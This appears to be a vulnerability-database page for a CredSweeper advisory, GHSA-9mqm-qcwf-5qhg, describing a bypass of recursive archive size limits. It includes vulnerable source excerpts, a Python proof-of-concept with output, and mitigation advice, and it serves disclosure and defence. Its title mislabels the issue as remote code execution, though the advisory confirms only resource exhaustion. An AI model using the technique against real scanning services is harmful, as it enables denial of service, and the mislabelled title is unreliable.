GHSA-9mqm-qcwf-5qhg: CredSweeper Remote Code Execution Vulnerability

MODERATE
CVSS 5.5
CWE-409 CWE-400
Published
Advisory Summary

GHSA-9mqm-qcwf-5qhg is a MODERATE (CVSS 5.5) remote code execution vulnerability (CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)) affecting CredSweeper libraries in the PyPI ecosystem. The issue involves recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources. Remediation is available by upgrading affected packages to version 1.16.0.

GHSA-9mqm-qcwf-5qhg at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-9mqm-qcwf-5qhg
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Affected Product CredSweeper
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-9mqm-qcwf-5qhg

To remediate this vulnerability, upgrade all affected CredSweeper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

credsweeper fixed: 1.16.0
pip install credsweeper>=1.16.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show credsweeper

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-9mqm-qcwf-5qhg, inspect your installed packages using pip:

pip show credsweeper

Analyze the terminal output to locate any version of CredSweeper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.16.0), your application is affected.

Note: The pip show credsweeper command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), where the product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. In CredSweeper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary CredSweeper's deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative. This allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth > 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`. The issue has two closely related exploitation paths that share the same root cause: 1. Single-stream decompressor bypass: `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative. 2. Multi-entry archive cumulative-budget bypass: `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate. The impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue. ### Details The vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively. The relevant call chain is: - `credsweeper/app.py:323` `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)` - `credsweeper/deep_scanner/abstract_scanner.py:269-305` The initial deep-scan entry point passes a recursive size budget into nested scanners. - `credsweeper/deep_scanner/abstract_scanner.py:58-94` `recursive_scan()` stops only on: - negative depth - data shorter than `MIN_DATA_LEN` It does **not** stop when `recursive_limit_size` is negative. Exact source-level issue: 1. Negative budgets are still accepted `credsweeper/deep_scanner/abstract_scanner.py:71-91` ```python if 0 > depth: return candidates depth -= 1 if MIN_DATA_LEN > len(data_provider.data): return candidates ... new_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size) ``` There is no guard such as `if recursive_limit_size < 0: return`. 2. Full decompression happens before any hard budget enforcement `credsweeper/deep_scanner/gzip_scanner.py:33-43` ```python with gzip.open(io.BytesIO(data_provider.data)) as f: gzip_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(gzip_content_provider.data) gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/bzip2_scanner.py:38-43` ```python bzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...) new_limit = recursive_limit_size - len(bzip2_content_provider.data) bzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/lzma_scanner.py:38-43` ```python lzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...) new_limit = recursive_limit_size - len(lzma_content_provider.data) lzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit) ``` The decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned. 3. Multi-entry archives use per-entry checks instead of a shared cumulative budget `credsweeper/deep_scanner/zip_scanner.py:49-60` ```python if 0 > recursive_limit_size - zfl.file_size: continue with zf.open(zfl) as f: zip_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(zip_content_provider.data) zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit) ``` `credsweeper/deep_scanner/tar_scanner.py:48-59` ```python if 0 > recursive_limit_size - tfi.size: continue with tf.extractfile(tfi) as f: tar_content_provider = DataContentProvider(data=f.read(), ...) new_limit = recursive_limit_size - len(tar_content_provider.data) tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit) ``` These checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit. 4. Same code pattern is also present in RPM scanning `credsweeper/deep_scanner/rpm_scanner.py:42-51` The RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same. Version scope: - The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`. - The last release before that commit is `v1.4.8`. - The first release containing that commit is `v1.4.9`. - Current upstream HEAD and package version `1.15.8` are still affected. ### PoC I reproduced the issue on: - Repository: `https://github.com/Samsung/CredSweeper` - Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` - Version: `1.15.8` I used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library. Reproduction steps: 1. Clone the repository: ```bash git clone https://github.com/Samsung/CredSweeper.git cd CredSweeper git checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6 ``` 2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly: ```python import bz2 import gzip import importlib.util import io import json import lzma import os import subprocess import sys import tarfile import types import zipfile REPO_ROOT = os.path.abspath(os.environ.get("CREDSWEEPER_REPO", "CredSweeper")) SOURCE_ROOT = os.path.join(REPO_ROOT, "credsweeper") def load_module(name, relpath): spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath)) module = importlib.util.module_from_spec(spec) sys.modules[name] = module spec.loader.exec_module(module) return module def reset_credsweeper_modules(): for name in list(sys.modules): if name == "credsweeper" or name.startswith("credsweeper."): del sys.modules[name] def install_common_stubs(): for name in [ "credsweeper", "credsweeper.common", "credsweeper.config", "credsweeper.credentials", "credsweeper.deep_scanner", "credsweeper.file_handler", "credsweeper.scanner", "credsweeper.utils", ]: module = types.ModuleType(name) module.__path__ = [] sys.modules[name] = module constants_module = types.ModuleType("credsweeper.common.constants") constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30 constants_module.MIN_DATA_LEN = 8 constants_module.DEFAULT_ENCODING = "utf_8" constants_module.UTF_8 = "utf_8" constants_module.MIN_VALUE_LENGTH = 4 sys.modules["credsweeper.common.constants"] = constants_module config_module = types.ModuleType("credsweeper.config.config") class Config: pass config_module.Config = Config sys.modules["credsweeper.config.config"] = config_module candidate_module = types.ModuleType("credsweeper.credentials.candidate") class Candidate: @staticmethod def get_dummy_candidate(*_args, **_kwargs): return "dummy" candidate_module.Candidate = Candidate sys.modules["credsweeper.credentials.candidate"] = candidate_module augment_module = types.ModuleType("credsweeper.credentials.augment_candidates") def augment_candidates(dst, src): if src: dst.extend(src) augment_module.augment_candidates = augment_candidates sys.modules["credsweeper.credentials.augment_candidates"] = augment_module descriptor_module = types.ModuleType("credsweeper.file_handler.descriptor") class Descriptor: def __init__(self, extension="", info=""): self.extension = extension self.info = info descriptor_module.Descriptor = Descriptor sys.modules["credsweeper.file_handler.descriptor"] = descriptor_module file_path_extractor_module = types.ModuleType("credsweeper.file_handler.file_path_extractor") class FilePathExtractor: FIND_BY_EXT_RULE = "Suspicious File Extension" @staticmethod def is_find_by_ext_file(_config, _extension): return False @staticmethod def check_exclude_file(_config, _path): return False file_path_extractor_module.FilePathExtractor = FilePathExtractor sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module scanner_module = types.ModuleType("credsweeper.scanner.scanner") class Scanner: pass scanner_module.Scanner = Scanner sys.modules["credsweeper.scanner.scanner"] = scanner_module util_module = types.ModuleType("credsweeper.utils.util") class Util: @staticmethod def get_extension(path, lower=True): ext = os.path.splitext(str(path))[1] return ext.lower() if lower else ext util_module.Util = Util sys.modules["credsweeper.utils.util"] = util_module content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider") class ContentProvider: pass content_provider_module.ContentProvider = ContentProvider sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider") class DataContentProvider: def __init__(self, data, file_path=None, file_type=None, info=None): self.data = data self.file_path = file_path or "" self.file_type = file_type or "" self.info = info or "" self.descriptor = Descriptor(extension=self.file_type, info=self.info) data_content_provider_module.DataContentProvider = DataContentProvider sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module def install_provider_stub(module_name, class_name): module = types.ModuleType(module_name) class Provider: def __init__(self, *args, **kwargs): for key, value in kwargs.items(): setattr(self, key, value) setattr(module, class_name, Provider) sys.modules[module_name] = module install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider") install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider") install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider") install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider") install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider") def get_head_commit(): return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip() def get_package_version(): init_path = os.path.join(SOURCE_ROOT, "__init__.py") with open(init_path, "r", encoding="utf-8") as handle: for line in handle: if line.strip().startswith("__version__ = "): return line.split("=", 1)[1].strip().strip('"') raise RuntimeError("Cannot locate __version__") def load_scanners(): reset_credsweeper_modules() install_common_stubs() abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py") gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py") bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py") lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py") zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py") tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py") provider_module = sys.modules["credsweeper.file_handler.data_content_provider"] return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module class RecordingRecursiveCalls: def __init__(self): self.calls = [] self.config = object() def recursive_scan(self, data_provider, depth, recursive_limit_size): self.calls.append({ "path": data_provider.file_path, "len": len(data_provider.data), "limit": recursive_limit_size, "info": data_provider.info, "depth": depth, }) return [] def build_compressed_payloads(payload): gzip_buffer = io.BytesIO() with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle: handle.write(payload) return { "gzip": gzip_buffer.getvalue(), "bzip2": bz2.compress(payload), "lzma": lzma.compress(payload), } def proof_negative_budget_after_full_decompression(): _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider payload = b"A" * 64 recursive_limit_size = 16 compressed_payloads = build_compressed_payloads(payload) results = [] for name, module, file_name in [ ("gzip", gzip_module, "proof.txt.gz"), ("bzip2", bzip2_module, "proof.txt.bz2"), ("lzma", lzma_module, "proof.txt.xz"), ]: recorder = RecordingRecursiveCalls() provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}") scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner") scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size) results.append({ "format": name, "compressed_size": len(compressed_payloads[name]), "decompressed_size": recorder.calls[0]["len"], "configured_limit": recursive_limit_size, "residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"], "recursive_call": recorder.calls[0], }) return results def proof_negative_budget_not_rejected(): abstract_module, _, _, _, _, _, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider AbstractScanner = abstract_module.AbstractScanner class DemoScanner(AbstractScanner): @property def config(self): return object() @property def scanner(self): return object() def data_scan(self, data_provider, depth, recursive_limit_size): return [] @staticmethod def get_deep_scanners(data, descriptor, depth): return [], [] def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size): self.proof = { "data_len": len(data_provider.data), "depth": depth, "recursive_limit_size": recursive_limit_size, } return [] demo = DemoScanner() provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt") demo.recursive_scan(provider, depth=1, recursive_limit_size=-48) return demo.proof def proof_cumulative_budget_bypass_in_multi_entry_archives(): _, _, _, _, zip_module, tar_module, provider_module = load_scanners() DataContentProvider = provider_module.DataContentProvider recursive_limit_size = 16 member_size = 12 zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive: archive.writestr("a.txt", b"A" * member_size) archive.writestr("b.txt", b"B" * member_size) tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode="w") as archive: for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]: payload = fill * member_size info = tarfile.TarInfo(name) info.size = len(payload) archive.addfile(info, io.BytesIO(payload)) results = [] for name, module, data, scanner_name in [ ("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"), ("tar", tar_module, tar_buffer.getvalue(), "TarScanner"), ]: recorder = RecordingRecursiveCalls() provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}") getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size) results.append({ "format": name, "configured_limit": recursive_limit_size, "member_size": member_size, "member_count": len(recorder.calls), "total_extracted_bytes": sum(call["len"] for call in recorder.calls), "recursive_calls": recorder.calls, }) return results print(json.dumps({ "head_commit": get_head_commit(), "package_version": get_package_version(), "proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(), "proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(), "proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(), }, indent=2, sort_keys=True)) ``` 3. Run it with Python 3: ```bash python proof_poc.py ``` 4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`: ```json { "head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6", "package_version": "1.15.8", "proof_1_negative_budget_after_full_decompression": [ { "format": "gzip", "compressed_size": 24, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 }, { "format": "bzip2", "compressed_size": 39, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 }, { "format": "lzma", "compressed_size": 68, "configured_limit": 16, "decompressed_size": 64, "residual_limit_seen_by_recursive_scan": -48 } ], "proof_2_negative_budget_not_rejected": { "data_len": 64, "depth": 0, "recursive_limit_size": -48 }, "proof_3_cumulative_budget_bypass_in_multi_entry_archives": [ { "format": "zip", "configured_limit": 16, "member_size": 12, "member_count": 2, "total_extracted_bytes": 24 }, { "format": "tar", "configured_limit": 16, "member_size": 12, "member_count": 2, "total_extracted_bytes": 24 } ] } ``` What this proves: - GZIP/BZIP2/LZMA: With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`. - AbstractScanner: The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`. - ZIP/TAR: A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`. This is a complete end-to-end proof of the root cause and both exploitation variants. ### Impact This is an availability / resource-exhaustion vulnerability. Who is impacted: - Users who run CredSweeper with deep scanning enabled (`--depth > 0`) on untrusted repositories, archives, or binary inputs. - CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files. - Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content. Practical consequences: - Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget. - Archive inputs with many individually small members can exceed the configured budget in aggregate. - Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform. Security classification: - Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)` - Related weakness: `CWE-400: Uncontrolled Resource Consumption` I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion. ### Mitigation I recommend fixing this in three layers: 1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()` Before any recursive dispatch, abort when `recursive_limit_size < 0`. 2. Enforce limits before or during decompression, not after full materialization - `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads. - If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory. 3. Track a mutable cumulative budget across sibling archive members - `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries. - After one child is accepted, decrement the shared remaining budget before processing the next sibling. Recommended regression tests: - A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed. - Equivalent tests for bzip2 and lzma/xz. - A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted. - A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.

GHSA-9mqm-qcwf-5qhg Affected CredSweeper Versions

1 component(s)
Fixed Versions:
1.16.0
Product / Package Ecosystem Affected Versions Fixed Version
credsweeper
PyPI
≥ 1.4.9
< 1.16.0
1.16.0

References

Frequently Asked Questions

What is GHSA-9mqm-qcwf-5qhg?
GHSA-9mqm-qcwf-5qhg is a security vulnerability in CredSweeper involving Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).
Which CredSweeper versions are affected?
Affected versions include releases prior to 1.16.0 across affected packages: credsweeper.
What version fixes GHSA-9mqm-qcwf-5qhg?
Upgrading to 1.16.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is credsweeper affected?
Yes, credsweeper is affected in releases prior to 1.16.0. Upgrade your dependency to 1.16.0 or later.
What is the CVSS score of GHSA-9mqm-qcwf-5qhg?
GHSA-9mqm-qcwf-5qhg has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-9mqm-qcwf-5qhg?
GHSA-9mqm-qcwf-5qhg is classified under CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.).
How can I check PyPI dependencies for GHSA-9mqm-qcwf-5qhg?
Run the dependency tree command: 'pip show credsweeper'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9mqm-qcwf-5qhg",
  "modified" : "2026-07-10T19:25:51Z",
  "published" : "2026-07-10T19:25:51Z",
  "aliases" : [ ],
  "summary" : "CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources",
  "details" : "### Summary\nCredSweeper's deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative.\n\nThis allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth > 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`.\n\nThe issue has two closely related exploitation paths that share the same root cause:\n\n1. Single-stream decompressor bypass:\n   `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.\n\n2. Multi-entry archive cumulative-budget bypass:\n   `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.\n\nThe impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.\n\n### Details\nThe vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.\n\nThe relevant call chain is:\n\n- `credsweeper/app.py:323`\n  `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)`\n- `credsweeper/deep_scanner/abstract_scanner.py:269-305`\n  The initial deep-scan entry point passes a recursive size budget into nested scanners.\n- `credsweeper/deep_scanner/abstract_scanner.py:58-94`\n  `recursive_scan()` stops only on:\n  - negative depth\n  - data shorter than `MIN_DATA_LEN`\n  It does **not** stop when `recursive_limit_size` is negative.\n\nExact source-level issue:\n\n1. Negative budgets are still accepted\n\n`credsweeper/deep_scanner/abstract_scanner.py:71-91`\n\n```python\nif 0 > depth:\n    return candidates\ndepth -= 1\nif MIN_DATA_LEN > len(data_provider.data):\n    return candidates\n...\nnew_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)\n```\n\nThere is no guard such as `if recursive_limit_size < 0: return`.\n\n2. Full decompression happens before any hard budget enforcement\n\n`credsweeper/deep_scanner/gzip_scanner.py:33-43`\n\n```python\nwith gzip.open(io.BytesIO(data_provider.data)) as f:\n    gzip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(gzip_content_provider.data)\n    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/bzip2_scanner.py:38-43`\n\n```python\nbzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(bzip2_content_provider.data)\nbzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/lzma_scanner.py:38-43`\n\n```python\nlzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(lzma_content_provider.data)\nlzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)\n```\n\nThe decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned.\n\n3. Multi-entry archives use per-entry checks instead of a shared cumulative budget\n\n`credsweeper/deep_scanner/zip_scanner.py:49-60`\n\n```python\nif 0 > recursive_limit_size - zfl.file_size:\n    continue\nwith zf.open(zfl) as f:\n    zip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(zip_content_provider.data)\n    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/tar_scanner.py:48-59`\n\n```python\nif 0 > recursive_limit_size - tfi.size:\n    continue\nwith tf.extractfile(tfi) as f:\n    tar_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(tar_content_provider.data)\n    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)\n```\n\nThese checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit.\n\n4. Same code pattern is also present in RPM scanning\n\n`credsweeper/deep_scanner/rpm_scanner.py:42-51`\n\nThe RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.\n\nVersion scope:\n\n- The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`.\n- The last release before that commit is `v1.4.8`.\n- The first release containing that commit is `v1.4.9`.\n- Current upstream HEAD and package version `1.15.8` are still affected.\n\n### PoC\nI reproduced the issue on:\n\n- Repository: `https://github.com/Samsung/CredSweeper`\n- Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`\n- Version: `1.15.8`\n\nI used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python's standard library.\n\nReproduction steps:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/Samsung/CredSweeper.git\ncd CredSweeper\ngit checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\n```\n\n2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly:\n\n```python\nimport bz2\nimport gzip\nimport importlib.util\nimport io\nimport json\nimport lzma\nimport os\nimport subprocess\nimport sys\nimport tarfile\nimport types\nimport zipfile\n\nREPO_ROOT = os.path.abspath(os.environ.get(\"CREDSWEEPER_REPO\", \"CredSweeper\"))\nSOURCE_ROOT = os.path.join(REPO_ROOT, \"credsweeper\")\n\ndef load_module(name, relpath):\n    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[name] = module\n    spec.loader.exec_module(module)\n    return module\n\ndef reset_credsweeper_modules():\n    for name in list(sys.modules):\n        if name == \"credsweeper\" or name.startswith(\"credsweeper.\"):\n            del sys.modules[name]\n\ndef install_common_stubs():\n    for name in [\n        \"credsweeper\",\n        \"credsweeper.common\",\n        \"credsweeper.config\",\n        \"credsweeper.credentials\",\n        \"credsweeper.deep_scanner\",\n        \"credsweeper.file_handler\",\n        \"credsweeper.scanner\",\n        \"credsweeper.utils\",\n    ]:\n        module = types.ModuleType(name)\n        module.__path__ = []\n        sys.modules[name] = module\n\n    constants_module = types.ModuleType(\"credsweeper.common.constants\")\n    constants_module.RECURSIVE_SCAN_LIMITATION = 1 << 30\n    constants_module.MIN_DATA_LEN = 8\n    constants_module.DEFAULT_ENCODING = \"utf_8\"\n    constants_module.UTF_8 = \"utf_8\"\n    constants_module.MIN_VALUE_LENGTH = 4\n    sys.modules[\"credsweeper.common.constants\"] = constants_module\n\n    config_module = types.ModuleType(\"credsweeper.config.config\")\n    class Config: pass\n    config_module.Config = Config\n    sys.modules[\"credsweeper.config.config\"] = config_module\n\n    candidate_module = types.ModuleType(\"credsweeper.credentials.candidate\")\n    class Candidate:\n        @staticmethod\n        def get_dummy_candidate(*_args, **_kwargs):\n            return \"dummy\"\n    candidate_module.Candidate = Candidate\n    sys.modules[\"credsweeper.credentials.candidate\"] = candidate_module\n\n    augment_module = types.ModuleType(\"credsweeper.credentials.augment_candidates\")\n    def augment_candidates(dst, src):\n        if src:\n            dst.extend(src)\n    augment_module.augment_candidates = augment_candidates\n    sys.modules[\"credsweeper.credentials.augment_candidates\"] = augment_module\n\n    descriptor_module = types.ModuleType(\"credsweeper.file_handler.descriptor\")\n    class Descriptor:\n        def __init__(self, extension=\"\", info=\"\"):\n            self.extension = extension\n            self.info = info\n    descriptor_module.Descriptor = Descriptor\n    sys.modules[\"credsweeper.file_handler.descriptor\"] = descriptor_module\n\n    file_path_extractor_module = types.ModuleType(\"credsweeper.file_handler.file_path_extractor\")\n    class FilePathExtractor:\n        FIND_BY_EXT_RULE = \"Suspicious File Extension\"\n        @staticmethod\n        def is_find_by_ext_file(_config, _extension):\n            return False\n        @staticmethod\n        def check_exclude_file(_config, _path):\n            return False\n    file_path_extractor_module.FilePathExtractor = FilePathExtractor\n    sys.modules[\"credsweeper.file_handler.file_path_extractor\"] = file_path_extractor_module\n\n    scanner_module = types.ModuleType(\"credsweeper.scanner.scanner\")\n    class Scanner: pass\n    scanner_module.Scanner = Scanner\n    sys.modules[\"credsweeper.scanner.scanner\"] = scanner_module\n\n    util_module = types.ModuleType(\"credsweeper.utils.util\")\n    class Util:\n        @staticmethod\n        def get_extension(path, lower=True):\n            ext = os.path.splitext(str(path))[1]\n            return ext.lower() if lower else ext\n    util_module.Util = Util\n    sys.modules[\"credsweeper.utils.util\"] = util_module\n\n    content_provider_module = types.ModuleType(\"credsweeper.file_handler.content_provider\")\n    class ContentProvider: pass\n    content_provider_module.ContentProvider = ContentProvider\n    sys.modules[\"credsweeper.file_handler.content_provider\"] = content_provider_module\n\n    data_content_provider_module = types.ModuleType(\"credsweeper.file_handler.data_content_provider\")\n    class DataContentProvider:\n        def __init__(self, data, file_path=None, file_type=None, info=None):\n            self.data = data\n            self.file_path = file_path or \"\"\n            self.file_type = file_type or \"\"\n            self.info = info or \"\"\n            self.descriptor = Descriptor(extension=self.file_type, info=self.info)\n    data_content_provider_module.DataContentProvider = DataContentProvider\n    